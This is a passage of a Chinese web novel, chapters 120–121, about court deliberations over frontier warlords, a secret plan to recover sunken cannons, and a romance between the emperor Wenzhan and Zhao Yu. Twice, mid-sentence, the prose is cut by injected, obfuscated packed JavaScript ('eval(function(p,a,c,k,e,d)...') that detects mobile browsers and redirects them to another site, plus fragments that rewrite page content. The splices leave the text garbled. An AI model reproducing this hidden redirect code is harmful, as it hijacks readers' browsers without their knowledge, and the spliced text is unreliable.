梁徵深深,深深,无奈的又叹了口气,说,“大家都是读书人,也都是出来做官的,自然明白‘守望相助’的道理。俗话说‘做人留一线,日后好见面’,那些所谓的‘藩镇’都是大郑的功勋之臣,陛下一意裁撤,旁人未免生了一丝兔死狐悲的感伤,这也是人之常情。” “还有,……” 赵毓倾耳恭听。 梁徵,“大郑一向的传统是东南赋税赡养西北甲兵,如今西北兵戈已歇,东南总算可以松一口气,难道陛下还想把北境再压在东南之上吗?还有,削藩之后,那些苦寒之地的治理,陛下有无任何打算?北境一片冻土,小民耕种狩猎自己糊口尚且不够,不会为朝廷贡献多余的税赋,并且为了活人,朝廷尚且需要从关内运送粮食过去,人吃马嚼,这一路的耗费,已是不菲,这些,都需要从长计议。” 此时,赵毓方才正了颜色,“梁相老成谋国,赵毓想的浅薄,唐突了。” “殿下也不是唐突。”梁徵说,“您的心思我懂。天下之患,最不可为者,名为治平无事,而其实有不测之忧。坐观其变,而不为之所,则恐至於不可救。藩镇不可留,早晚是祸,可是,这一早、一晚,其中的差别犹如天渊。早,可能逼反整个北方,殿下有没有想过,如果徐绍不能抵御外敌于大鲜卑山北麓,战火可能直烧山海关,过了长城,就是京师,再向南,则是无险可守的中原大地。真到了那一步,陛下以一己之欲,致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728977|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使山河破碎,青史上一世圣名就全毁了。而,如果陛下退一步,徐徐图之,善待藩镇,给予高爵厚俸,慢慢蚕食其兵权,长此以往,二十年,五十年,甚至一百年后,则有可能消弭大患于无形。” 赵毓,“有可能,……” “对,这也只是我的猜想。”梁徵,“我们无法预知身后事。” 赵毓,“那也可能藩镇彻底割据,国土分崩离析。” 梁徵点头。 赵毓,“陛下岂不亦是千古罪人?” “非也。”梁徵,“我们无法预知身后事。子孙不肖,非祖宗之过。我们活着的人,只要做到不欺心,不欺苍天,已属不易,不要再筹谋千秋万代了,那是虚妄。” 赵毓听着想乐,却如论如何也笑不出来。 梁徵不能说不老成谋国,他把皇帝的生前身后事都谋算清楚明白。 话说,皇帝有三怕: 历史。 古圣先贤,列祖列宗。 天。 文湛也曾经说过,“敬天法祖,敬的是天道,要知道天道有常,不为尧存,不为桀亡。” 至于历史嘛。 虽然大郑历代祖宗们总是把‘千秋功过,后人评说’挂在舌头上,不过呢,这就好像雍京城每个高门大宅的书房里面大多挂着的一幅‘淡泊以明志,宁静以致远’的书法一般,这都是给别人听,给别人看的。‘淡泊’、‘宁静’、‘毁誉听之于人’嘴上说说容易,真正做到的人却是凤毛麟角。 赵毓总是说史书的教化更重于事实,如果当真在乎那些史官书生的话语,就好像裹上了小脚的妇人。他自诩为破瓦罐,豁得出去,只是一旦果真要涉及到文湛的千秋名声,他却不能不多想想。 送走了梁徵,赵毓回微音殿,刚到湖水边缘,就看见崔珩在那边喂鱼。他身后是一个小太监,双手捧着一个木盘,里面装着一个官窑胭脂水的碗,盛着鱼食。赵毓接过那个木盘,让小太监离开了。 崔珩一转身,看到他,“老梁头儿走了?” “嗯。”赵毓给他抓了一把香油牛乳拌的鱼食让崔珩继续扔着玩儿,随后问,“你怎么出来了?” 崔珩,“你不是让人给我做了一份白糯米糕嘛?” 赵毓,“嗯。” 崔珩,“小狼崽子看着不顺眼,把我轰出来了。” 赵毓,“……” “崔侯爷这话说的真亏心,陛下哪里是那种不容人的主儿?”黄枞菖也出来了,“楚阁老那里有祖宗吩咐准备的人参蜜茶,用的是正经的长白山八两老参,陛下可什么都没说。” “我哪能跟他比?”崔珩撇嘴,“楚大人是文官出身,身子骨本来就弱,如今更是夙兴夜寐,再不补着点儿,他还不得熬成小萝卜干?再说,他要是倒下了,圣上使唤谁去?” 赵毓不想同他讲,就问黄枞菖,“怎么回事?” “崔侯吃饭吧唧嘴。”黄枞菖苦着脸说,“这微音殿中如今都是大儒,极讲究‘食不言’,所有人吃饭安静的如同雪花落地,就崔侯爷一个人,吃糯米糕的时候简直就是甩开腮帮子颠起大槽牙,那副样子,活像是饿死鬼抢食,根本不能看。陛下怕传出去让言官知道了再参一本,不值当的,就以让他喂鱼的由头把他请出来了。” “拉倒吧。”崔珩哼一声,“黄秉笔在司礼监呆久了,颠倒黑白的功力大涨。我不过就,……” “停!”赵毓一听就知道是葫芦案,公说公有理婆说婆有理,没法子断清楚,赶紧拦住崔珩的话头,问他正事,“北境有消息了?” 如果没有确切的消息,崔珩就算浑破了天,也不敢擅自离开微音殿。 “是。”崔珩说,“定国公裴檀的密折到了。徐绍挡住了高昌军队,而且,那些藩镇也没有乱。更好的消息是,裴檀派人去呼伦湖那边与蒙古王和匈奴左贤王聊了聊,许了些互市的好处,他们似乎也颇为心动。” 赵毓,“裴公的折子?” “是。”崔珩点头。 赵毓,“徐绍呢?” “你问老黄。”崔珩说,“他也出来了,想必有新消息。” 黄枞菖连忙说,“徐总督的折子也到了,和裴公写的一样。” “可是,……”赵毓觉得哪里不对,“徐总督晚了这些功夫,他是怎么想的,又在做什么呢?” 太液池中波浪翻滚,映着已经破开乌云、升上天际的朝阳,散着粼粼波光。水中的鱼,后背如同镀上金光,聚在一起上下翻滚,竟然也是瑞彩千条,显得异常祥和,硬生生的生出一股子百年难见的祥瑞之气。 赵毓不信这些,相反,他不太踏实。 “还能有啥?”崔珩把碗中最后一把鱼食儿也撒了,“徐总督祖坟冒青烟,让他有机会建功立业。他可是人杰,当然知道机不可失时不再来,自然要抓住机会,与朝廷讨价还价呗!” 120. 120 120 黄枞菖忽然问,“崔侯爷,按您的意思,这个徐绍还能向朝廷要什么?” 崔珩看着他,乐了,声音带着戏谑,“黄秉笔久在司礼监,您这颠倒黑白的本事学了不少,看来,行兵打仗上的能耐,还是嫩啊!” 黄枞菖,“崔侯您这是冤枉我,不说别的,方才在微音殿上,您自己说说,您吃饭有没有吧唧嘴?” 崔珩,“没有!” 黄枞菖,“您这是红口白牙说谎话!” “停!”赵毓越听越听不下去了,抬手指着蓝天,“这青天白日、朗朗乾坤,我大郑的司礼监秉笔大太监和圣上亲封的三等候在微音殿外、太液池旁,放着军国大事不管,扯一些鸡毛蒜皮的淡,你们两个自己说说,你们和平时自己看不上的那些孝子忠臣们有什么不同?” 黄枞菖连忙认怂。 崔珩自持端正,也还是撇撇嘴,感觉自己的确不太对,这才说,“打仗,只有三件事最重要。” 黄枞菖,“愿闻其详。” 崔珩,“我到想听听黄秉笔的高见。” 黄枞菖,“天时、地利、人和。” 闻言,崔珩冷笑,而,赵毓也低头乐了,黄枞菖连忙问,“祖宗,我说的不对?” 崔珩,“别问他,当年黄秉笔在毓正宫读书,遇到侍读学士们考功课,您也扯着他?我怎么听说当年您的功课可是一等一的拔尖,倒是我这表弟三天打鱼两天晒网,书读得却是稀松平常。” 黄枞菖认真想了想,又说,“庙堂上君贤臣忠,外面将士用命,至于另外这一点,应该是兵部、户部得力,粮草军饷充足。” “不笨。”崔珩赞赏,“不过黄秉笔只说对了一点。承怡,你告诉他,这战争最重要的三点是什么?” 赵毓,“钱。” 黄枞菖,“第二点呢?” 赵毓,“钱。” 黄枞菖,“那第三点?” 赵毓,“还是钱。” 崔珩鼓掌,说,“所以,我推算,徐绍想要凭借此次的军功,还有目前北境依旧险峻的局势,问陛下要山海关外一直向北直到冻土的赋税。” 末了,又加重了语气道,“全权,收税权。” 黄枞菖倒吸一口冷气。 赵毓问崔珩,“等会儿你去哪儿?微音殿,还是出宫?” 崔珩,“我等下去趟兵部,怎么?” “有点事儿。”赵毓扯着崔珩的袖子,“走,边走边说。我这里有一张南洋的海图,上面标着,……”一回头,发现黄枞菖跟着,赵毓说,“你赶紧回去,看看陛下那里还有什么吩咐,我送崔侯出宫。” “不是,……,祖宗,陛下他,……”黄枞菖嘴不快,发现赵毓已经扯着崔珩走远了,他那后半句才出口,嘟嘟的,“主子说,崔侯在外面带兵学了一身的臭毛病,您是金枝玉叶,离他远点儿,可千万别让他带坏了。”最后,他觉得自己嘟嘟囔囔又没人听,实在可笑,只能叹口气,稍显得垂头丧气的回去微音殿。 大正门就在眼前。 赵毓说,“有一年我去南边办火器,往回走的时候在闽南遇到了走私鸦片的泰西商船,干了一仗,差点回不来。他们船上的火铳跟红毛在澳门卖给我们的货都不一样,劲儿大,射的远,几下子就能炸沉一艘宝船。幸亏当时盛执玉也在船上,他这个‘东海狂蛟’的诨号真不是吃干饭的,多亏了这个老杂毛,不然我就陈尸南海喂鱼了。” 崔珩沉吟,“泰西商船?” “对。”赵毓说,“不是泰西任何一个国家的正经水师,旗舰上挂着蓝底的旗子,上面画着一个金色的大树杈,每个杈上还挂着点啥,当时逆着日头,我没看清。” 崔珩,“什么来头?” “叫什么,……,什么来着?”最近赵毓是狗熊掰棒子的记性,他想了想,头壳疼,于是一摆手,“叫啥不重要,反正都被我们把船给轰沉了。他们三艘船,一共装了七十二门火铳,特别大,全部沉入南海。当时我也是泥菩萨过海,实在没法子,只能眼睁睁看着它们沉,可是我多了一个心眼儿,让人在海图上做了标记。老崔,你看,能不能把这些沉海的火铳捞出来,再悄悄的运上北方来。” 崔珩,“运进雍京?” 赵毓,“别进雍京,最好直接架在大鲜卑山南麓的关口,再不成,也得在山海关。北境的事没完,更要命的是,这还只是个开始。朝廷上能人多,咱们最后未必用得上海里捞出来的这些火铳,不过,上轿才扎耳朵眼儿的那是新娘子,咱们不能这么着,得早作打算,多留条后路,也就多给自己开辟一条生路。” 崔珩点头。 赵毓,“这事儿,越少人知道越好。我听梁阁老的意思,如今这朝廷上聪明人太多,他们与陛下,可不是一条心。” 崔珩,“明白。” 他知道:不谋万世者,不足谋一时;不谋全局者,不足谋一域。可如今,高瞻远瞩、深谋远虑却不是最难得的。外有强敌,内有悍臣,藩镇袖手,强敌环伺。雍京。外面看起来和煦绮丽,内在竟是深渊密布,险象环生。最难得的是将大难消弥于无形。 他看着赵毓皱着眉头,一脸苦闷,就拍了拍他的肩膀,“别着急,兵来土掩,世上没有过不去的火焰山。” 赵毓,“那个蓝底旗子,叫什么来着,……” 崔珩不解,“别想了,不就是一群二道贩子吗?当年我混雍京制造局的时候,手中过的真金白银够那群蕞尔小国不开眼的二道贩子们吃一万年的。” “想起来啦!”赵毓双手一合,拍了拍,说,——“东印度商行。” 崔珩,“一个泰西商行,又不是正经水师,为什么配那么强的火器?” “怪物。”赵毓说,“东印度商行是一个集武力、权力与货殖于一身的怪物,在它之前,我从未见过。” 崔珩,“一个商行的船队就可以正面对阵大郑帝国水师,匪夷所思!如果,……” 终于,后半句,崔珩还是没有说出口。赵毓却面对着他,微微点了点头,算是了然。——王朝只有集合军、政、财大权,方可所向披靡。 先帝在的时候,曾经念叨过: “以军令敕天下之人心,以军事军食延天下之人材。” “一喜四海春,一怒四海秋。” “禁止令行,四夷来王,是之战胜于庙堂。” 这是万世未竟之功。 赵毓明白,崔珩未出口的后半句,——“如果,陛下总揽天下兵权,建立一支只属于王朝的职业军队,必可永远杜绝‘藩镇’尾大不掉的局面。” 赵毓,“秦三世子婴的军队被楚汉所灭,至此千年,多少代王朝都没有一支职业军队。再说,历来都是‘好男不当兵,好铁不打钉’。看看当年咱们手下那些人,如果不是走投无路了,谁会到边境做那些脑袋别在裤腰带上的营生?从无到有太难,况且,这种犯忌讳的事,以后就不要想了。” 大郑文人当朝。 崔珩未出口的后半句,赵毓隐晦的回答,俱是泼天大罪。不要说他们,一个被废的亲王,一个三等侯,即使是皇帝,即使是雄才伟略的先帝,都不敢如此说话。倘若皇帝当真出口,就是违背祖训,就是穷兵黩武,就是冒天下之大不韪!御史言官、内阁大学士们的‘劝诫’的奏章必会淹没微音殿。 “对了,承怡。”崔珩要出大正门,只是走了两步又兜转了回来,“我在雷琼岭南那边没有熟知的人,海鸣臣的小儿子倒是在雍京城,我总不能直接光天化日、众目睽睽之下,直接大摇大摆闯他们府邸找人喝酒吧。” 大郑祖制:——手握重兵的‘藩镇’、将军,还有总督、提督这样的封疆大吏子嗣居住在雍京城。 这是不成文的惯例,已经延续了七百多年,这些锦衣玉食的高门公子们算是被父祖质押在天子眼皮子底下的人质,置换‘虎符’的傀儡,目前除了赵毓内弟尹徵之外,再无例外。所以,雷琼水师提督海鸣臣如同东海水师提督盛执玉一样,都有儿子居住在雍京城中。 只是。 崔珩,一个外戚,又是一个三等侯,总不能无缘无故直接进疆臣府邸,言官得了信儿,一定会参奏弹劾他私自结交外臣,意图不轨。 赵毓,“我倒是认识一个人,陈宝金,岭南那边一个大商,他大约正在雍京,回头我去下帖子请客,我介绍你们认识。” “别,择日不如撞日,就今天吧。”崔珩反手一拽赵毓的袖子,“西城新开了一家不错的园子,位子隐蔽,用来见人最是不错。那家的厨子是从南边来的,原本伺候河道总督。那些河工穷奢极侈,家中的厨子手艺正经不错,走,咱们也试试去。” 赵毓被崔珩扯出宫,一来二去,等他再回大正宫,夜已经深了。 皇帝寝宫中,文湛没睡,披着缂丝衣袍,燃着琉璃灯,正在烛火下为赵毓雕刻红珊瑚手串珠子,沉静,眼珠一瞬不瞬。 赵毓有些意外,“三天没合眼,好不容易得了空,怎么不睡?” 文湛,“不困。” 此时,赵毓一身酒气,黄枞菖连忙服侍他更衣,又端过来醒酒汤,方才扶他坐好,一口一口喂他喝了。 崔珩说的那家馆子的确不错,赵毓许久没见陈宝金。他将崔珩介绍给陈宝金认识,没说别的,只说这是他表哥,想要做南洋的生意,请他务必代为引荐雷琼水师提督海鸣臣。有朋自远方来,这人一开心,就喝的‘稍微’多了一些,同时,耽搁的‘时辰’也稍微多了一些。席间,他总是说要走,陈宝金不解,因为他从来没有见过酒桌上一心想着少喝点,尽早赶回家的赵毓。他们认识的那些年,赵毓一直野的像条疯狗。 “老赵,你的事就是偶的事,你老表的事包在偶身上。他想做南洋生意嘛,偶一定帮他同海大人扯上关系的啦!”陈宝金扯着他那口岭南风味的官话,“老赵,看在偶的脸皮上,你就多喝一点啦!你这样扭扭捏捏,偶还以为你纳了一条母老虎,每天三令五申,不但霸着你不让你同别的女人亲热,就连晚上多喝两口酒都要唠唠叨叨,烦死了,烦死了。” 噗! 崔珩在一旁喷了口中的酒。 宵禁,他们才散。 崔珩有兵部的腰牌,不怕这个,他找人把已经喝的如同烂泥一般的陈宝金送回岭南会馆,赵毓则像赶着投胎一般的赶着回宫。也许是走的急切了一些,晚上又吹了风,到了寝宫他的酒劲儿开始上头,人也有些昏昏沉沉,由着黄枞菖伺候,他就歪在黄花梨的大木椅上。 忽然。 赵毓觉得鼻子尖有些热热痒痒的,睁开眼睛,看见文湛贴了上来,鼻尖对着鼻尖,并且还在细细的闻,似一条血统极名贵的狗。 “怎么?”赵毓问。 “胭脂的味道。”文湛,“那位崔姓三等侯带你喝花酒了?” “花酒?”赵毓摇头,“没啊,我们就是吃了点饭。不过,那是个淮扬馆子,席间请了几位女娘弹琵琶。” “只是弹琵琶?” 文湛顺着赵毓的面庞一点一点舔,撕撕扯扯的,弄得赵毓一激灵。 这么多年来,陈宝金很少来雍京,聚在一起少之又少,加上这次赵毓有事让他帮忙,自然巴结些,点了女娘过来弹琵琶,不过,也只是如此了,不敢再玩什么出格的,为此,他还让陈宝金好一阵子奚落。 赵毓斩钉截铁,“对!只弹了琵琶!” 文湛,“没让姑娘们喂你喝酒?” “呃,……” 这是老崔他们玩的花样,他们是光棍,自然能玩。 他赵毓今非昔比了,当然要收敛。 面对皇帝,赵毓连忙摇头,“没,绝对没有!我的每一盏酒都 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他想要咬眼前的木头,可是一琢磨,这是祖宗留下的黄花梨,传了几十代了,稀世之珍,咬出牙印实在可惜。于是,他就想要去咬文湛的袖子。那是黑色的缂丝,地地道道的江南贡品,咬上一口太暴殄天物。最后,他双手用力撸起来文湛的袖子,想要咬他的胳膊。眼前是苍白的一段手臂,虽然暴起来青筋,看着十分有力,却让他实在下不去嘴。 正犹豫着,赵毓的下巴被皇帝的手指扣住,骨头的硬还有微微的凉意,他扭回去,文湛低头,嘴唇相叠。 犹如百川沸腾的亲吻,似乎,烧的他连骨头渣都灰飞烟灭了。 清晨。 文湛似醒非醒。 锦帐被人轻轻撩起来。 有光。 雕花窗外似乎是个艳阳天。承怡的声音响起,很轻,带着慵懒,像是有人用凌翅鸟的尾羽轻轻刮着耳廓。 “陛下还没醒。”赵毓说着,微微起身,有人拿过来几个缂丝枕头垫在他的腰间,让他斜着坐靠起来。“黄瓜,你把那卷子海图都拿过来,我就这么看。” 周围一切都是轻盈的。 承怡身上是淡淡的味道,浓重的熏香一层一层的淡去,透出的是清如水一般的香气,文湛觉得温暖,又异常安逸,全然放松。这是一种静谧、广袤、安全的安逸,并不是可以陷入坟墓一般的沉沦。 文湛觉得自己头发被轻轻的撩起,时不时,脸庞上也会有轻柔的抚摸。 睁开眼。 他看到自己枕在承怡的胸前,被揽着,就是被人珍视的瑰宝。 “醒了?”赵毓见他微微睁眼,连忙把手中的海图放在一旁,“陛下,您的鼻子歪了。” 当年在东宫,一日早上,他也是这样趴在他胸口,挺直的鼻被压的歪到一旁。 皇帝想要起身,随后,他悲哀的发现,自己原本自傲的自制力早已缥缈的看不见痕迹。不过,他还要维持一下圣主的面皮,装模作样的嘟了一句,“怎么不叫醒我?” 赵毓的手指在他的鼻尖上按了按,“难得多睡一会儿,就多睡一会儿。” 文湛闭眼,不过,他还是挣扎了一下,“春宵苦短日高起,从此君王不早朝。这是怠政。” “怠政不怠政的,原本也不看这些肤浅的东西。”赵毓,“根据史料记载,老爹的祖爷爷,哦,就是你祖爷爷的亲爹,他老人家每日睡的比狗晚,起的比鸡早,捧着一本《世宗训》开始宵衣旰食。终于,三年不到,就把天下折腾乱了。他老人家倒是不怠政,别人却希望他每日多吃饭,多睡觉,不要像个睡不着觉的疯子,花样繁多,层出不穷的瞎折腾。” 文湛听他说话很舒服,彻底安心的闭上眼睛,有一耳朵,没一耳朵的听赵毓说话。 赵毓说,“我就是属于觉多的人,当年在西北的时候,只要不是火烧连营,我每天一定要睡足了三个时辰,雷打不动。我娘都说我,睡这么多,这一辈子没个大出息。话说,除了老爹,你,我老丈人之外,我还见过觉少的人。江宁的镇守将军侯汝城如今常驻苏州,当年老侯在西北的时候,就属于觉少的。他身边有个伺候茶水的小厮,白天照顾他,晚上侍寝,老侯愣是能折腾大半夜,第二天照样上战场。” 文湛,“小厮?” 赵毓,“嗯,前线不能带家眷,不能带女人,一些清秀的小子们自然就用上了。” 文湛,“你身边也有这样的小厮?” 赵毓的手指还在有一下没一下的撩着皇帝的头发,比最好的丝绸还要腻,好像可以把他腻住,不,也许当真把他的脑子腻住了。 于是,赵毓的嘴比脑子快,下意识的点头,“有。” 文湛瞬间睁开眼,在床榻上抬头,一双眼睛直勾勾的盯着赵毓。 赵毓吞了一口口水,“……” 文湛,“……?” 赵毓,“那个人,……,你认识。” 文湛,“谁?” 赵毓,“薛宣平。” 文湛,“……????” “我是清白的。“赵毓,“老薛是我的伙夫,只管做饭,真没管过其它什么杂务。” 文湛又仔细想了想薛宣平的样子,——原先像个三百斤的肥兔子,被承怡的厨子控制饮食之后就清减了,可是再瘦,也是个壮汉,怎么看怎么都像一个憨厚的肥树墩儿。承怡就算再生冷不忌,也不至于不挑嘴到如此地步! 皇帝悬起来的心放了回去,人也软了下来,继续躺在赵毓胸口前。 与此同时,在元承行看账目的薛宣平无缘无故的打了个冷颤,似乎刚刚经历了生死,他有一种虚脱感,可是他看着眼前的花草,又看了看手边的三炮台,还有三才碗旁边的点心盘,果子盘,蜜饯盒子与一大碗羊肉大面,心中顿时踏实了。他估摸着自己饿了,于是把手中的账目放在一旁,在赵毓看不到的地方,心安理得的开始吃肉,——嫩,香,真香! 121. 121 121 文湛闭着眼睛,赵毓的手指在他的发丝之间流连,动作很轻,很轻,如轻风拂面,微雨沾衣。 过了一会儿。 “承怡。” “嗯?” “你心跳的怎么这么厉害?” “被你吓的。”赵毓说着还轻声笑了,“我都说我是觉多的人,战时那么严峻,对我来说,踏实睡一夜都是穷奢极侈的愿望,哪里来的体力捻三搞四?” 文湛,“嗯。” 赵毓又加了一句,“就算我有心,也无力啊。” 文湛,“……” 很久,很久,很久。 久到赵毓以为文湛不会问了,他才说,“承怡,那些年,你,……,曾经‘有心’过吗?” 自从承怡回雍京以来,这个问题一直在文湛心口盘旋,一直没有问出来,今天,他终于开口了。 赵毓,“有过。” 文湛,“……” 赵毓,“那年在玉门关,我拿到你派人送过来的生辰玉佩。” …… 春风不度玉门关。 玉门关这个地方像足了当年故人为赵毓描述的西疆故土。黄沙万里,枯骨成排。到处是那种一千年不死,一千年不倒,一千年不朽的胡杨,还有用黄土夯成了城墙,他似乎看到城墙上飘荡着狗尾草。 那是一片没有记忆的土地。 伴着风声,赵毓甚至听到了有人吟唱着古老的歌谣,——愿得此身长报国,何须生入玉门关。 通关的时候,赵毓的样子并不像来往于西疆十六国的商旅,所以被守军拦住问了几句。 “你叫什么名字?” “赵毓。” “籍贯?” “雍京。” “出玉门关做什么?” “送故友的骨灰归葬天山。” 那个守军又看了看赵毓,点头,把通关文书还给他。此时,旁边来了一名穿着奇秀衣服的军官,是个宦官。 他走过来,手中端着一个木制的盒子。这个军官什么也不说,就这样把盒子放在赵毓的手中。 打开,里面放着一块玉佩。 南诏贡品,正经的玻璃种,帝王绿翡翠,稀世之珍。玉上九龙环绕,正中用大篆镌刻着‘文湛’二字。玉佩上缠着黑丝,金线,还有一些红色的丝,很喜庆,像是大婚时候选用的吉祥颜色。 是皇帝的生辰玉配。 一旦许给,生死相随。 赵毓手指翻过它,背面刻有三个字:——我等你。 …… “我知道你一直在等我。”赵毓,“可是,我却不想你这么做,太自苦了。” 文湛嘟囔了一句,“我乐意。” 赵毓又轻轻笑了,他的手指按了按文湛的鼻尖,“当年我想,如果,我身边珠翠环绕,过着征歌逐酒的日子,是不是就可以断了你的念想?” “可是,……”叹息一般的声音:“我豁不出去。” “陛下。” “我豁不出去。” 赵毓的手指就在文湛的肩膀上,一下,两下,三下,……,轻轻拍着。 皇帝想到遥远的童年,那个时候,他才六岁,承怡也只有十岁。那是一个夏天。还是皇太子的文湛被自己贴身伴当下毒,几乎身死,是承怡救了他,之后养病的时候,承怡一直陪着他。外面的花已经开到荼蘼,大殿中似乎看不到四季流转,承怡把他抱到院子中,也是这样的姿势,很温柔的拥着他,陪他看着大正宫中名贵的花草。 承怡的胳膊很细,拥抱很温柔,却没有那么强悍,没有那么无畏,没有那么九死无悔!文湛不懂。他原本以为,那是脆弱。现在他懂了。承怡的温柔不是脆弱,而是像丝一般细韧;像泥土一般的包容;还有,像水一般,可以泽被万物、细细无声,也可以强悍犹如汹涌深渊、惊涛骇浪! 文湛,“上善若水!” 赵毓没听清楚,“什么?” “没什么。”文湛得了便宜便开始卖乖,“承怡,知道你那十年没有别人,朕甚欣慰。” “得知陛下欣慰,微臣这颗心可以彻底放回肚腹中去了。”赵毓又捏了一下文湛的面皮,发现,一代雄主的脸蛋子依然带着小时候的模样,似醒非醒的他像个刚出笼的小包子,有一种热气腾腾的软嫩,“不然,主忧臣辱,让主上烦忧定然是微臣的过错,当真要罪该万死了。” 文湛,“不许说‘死’这个字!” “微臣失言。”赵毓微微用了点力气,按住文湛的肩膀,不让他起身,“不说,以后都不说了。” 文湛抬手,在赵毓胸膛上轻轻摩挲着。他左心口的地方,是一道永远不会愈合的疤。赵毓揪住他的手指,轻咬了一下,文湛觉得自己指尖酥麻酥麻的,欲念有些蠢蠢欲动,却听见赵毓说了一句,“崔珩怀疑徐绍他,……” 文湛,“崔姓三等侯?” 赵毓,“老崔说,徐绍可能想要凭借此次的军功,还有目前北境依旧险峻的局势,问陛下要山海关外一直向北直到冻土的赋税。” “他不敢明说。”文湛让赵毓又给撸了回去,舒展的躺好,才说,“不过,徐绍应该动了这个心思。他递进来的折子,想要的是一个朝廷正式册封的北境总督的官位。他说自己目前依然是‘甘宁总督’,隶属西北军,镇北境名分不正。名不正则言不顺,无法令行禁止,恐以后无法全权调度,贻误战机。” 也许是一夜春宵消弭了皇帝的冷芒,让他的声音听上去温润了许多,可熟知他的人明白,——圣主震怒。 因为,文湛的声音太轻了,轻的,让人心寒。 赵毓,“既然有总督,那么,他有没有推荐谁来任北境巡抚?” 文湛,“没有。” 赵毓,“如果任命徐绍为总督,你心中有巡抚的人选吗?” 文湛,“人家明里暗里说,恐以后无法全权调度贻误战机,朝廷不需再委派巡抚,北境事务只系总督一身即可。” 赵毓,“北境总督就是正式的疆臣了,代天巡狩,战时若再加上巡抚空缺,他就可以将财、政、军三权独揽。他的胃口不小呀!不过,徐绍目前就在北境,如此请旨不能说逾制。” “承怡,你对他的了解胜过我对他的了解。”文湛问,“你认为,他会想要裂土封王吗?” “不会。”承怡说,“如果当真到了那一步,就是冒天下之大不韪,他不像是这种石破天惊的枭雄。不过,人心隔肚皮,我也只是猜。其实,我觉得他应该对‘丹书铁券’很感兴趣。” 文湛,“愿闻其详。” 赵毓,“悬崖边上勒住战马的人是将才,而在悬崖边上不勒马的疯子才是王!徐绍是难得的将才,不是疯子,做不了王。他愿意勒住战马,也当真勒得住战马。” “可是,世间有个规矩,——漫天要价,就地还钱。” “如果他当真只想要‘丹书铁券’,朝廷以一个不世袭的三等侯,或者是一个恩荫子孙两代的一等伯就能打发。如今只是大风起于青萍之末,远未到平息战事、建立不世功勋的时候,结局究竟如何,很难预料。” “如果他气势汹汹的想要裂土封王,以后朝廷授予他‘丹书铁券’,势必有一种大家都退了一步的幻觉,顿时一种皆大欢喜的欢乐油然而生。那时,陛下不会觉得肉疼,而他也会得偿所愿。” 文湛闭着眼睛,听着听着就笑了,“疯子才能是王吗?” “也不一定。”赵毓说,“边陲小镇落麻衣有一个疯子,总说自己是老天爷的小老婆生的小儿子,他今后是要当皇上的,还纠结了一群人马,封了满朝文武,还从山底下的村子里面找了一些村姑封了东西宫七十二位娘娘,结果,里正从我手中借了几条枪,薛宣平带了二十几个人,一天就给灭了。” 文湛,“……” “疯子无法建立同时也无法维护一套可以长治久安的政府。”赵毓说,“不过,如果当王仅仅是闹出一场兵灾,封个三宫六院七十二宫娘娘,那么,疯子还挺合适的。对了。”他说着,从旁边拿过海图,“我让老崔暗自找些关系,把当年被炸沉入南海的七十多门火铳捞出来,尽量神不知鬼不觉运上北方来。” 文湛,“崔姓三等侯?” 赵毓,“别总叫他这个。” 文湛,“他还总叫我狼崽子呢!” 又是一段公说公有理婆说婆有理的公案。 赵毓叹口气,“好,你愿意怎么样就怎么样吧。老崔他,……,如果当年,他没有睡过头误了殿试,放榜之后他就是进士及第。之后,再有杜阁老的照拂,宦海二十年,如今就算做不到楚楚的位子,也应该是陛下的宰辅。” 文湛嘟嘟了一句,“没准是政敌。” “对,真没准儿。”不过,赵毓又仔细想了想,“不会。先帝说过老崔,吕端大事不糊涂,崔珩再放浪形骸,核子里是根骨很正的书生,他与杜皬不是一道局,虽然杜阁老是他的老师。” “他出生的时候,我舅舅刚考上秀才,有了功名,算是双喜临门。舅舅当年翻透了诗书,方才从李商隐的‘碧城十二曲阑干,犀辟尘埃玉辟寒’中挑拣出两个字‘碧城’用作他的名字。后来因为我娘和我的缘由,先帝下恩旨允许他破格进入毓正宫读书,杜皬嫌弃‘崔碧城’这个名字过于酸文假醋,亲自赠名单字‘珩’,同‘蘅’音,佩上之横者,极其贵重。楚之白珩犹在乎?” “书生?宁淮侯可不是书生。”文湛笑道,“他顶多披了一张书生的画皮。书生封不了万户侯。”忍了忍,皇帝终于没忍住,于是,装模作样的又加了一句,“即使区区一个三等侯,书生也做不来。” 良久。 “承怡,你怎么不说话?” “我在纠结老崔究竟是书生还是其他什么别的这件事。” “宁淮侯与你说过重塑军队建制吗?” “嗯,模糊提过。”赵毓有些意外,“陛下知道?” “宁淮侯上过密折。”文湛很平淡,“他自己‘亲自’捉笔手写,不经他人之手,居然没有错字,也没有别字和通假字。” “……” 半晌,赵毓才“哦”了一声,“他如果用点心思,写的东西还是能看的。有没有格局另说,这个字嘛,大抵还是可以写对的。” “这件事,书生就不会做。” 文湛说,“对于天下安宁,书生们只会大声叫嚷着解甲归田,对眼皮子之外的东西视而不见听而不闻,整日捧着圣经贤传,口中说着之乎者也,居然相信诗书可以退敌百万雄兵!文臣们对于朝廷在澳门南洋置办火器也是痛心疾首,一叠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728979|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一叠的奏折都在规劝,说那些火器不过就是西洋机巧,有辱泱泱上国、煌煌天|朝。最后,还不忘把列祖列宗的规训再背一遍,以显示自己识得字,也背得书。蠢货,一群蠢货。” 额头上有承怡的手指,温凉的触觉,一点一点的揉捏,应是想要抚平什么。 文湛,“怎么了?” 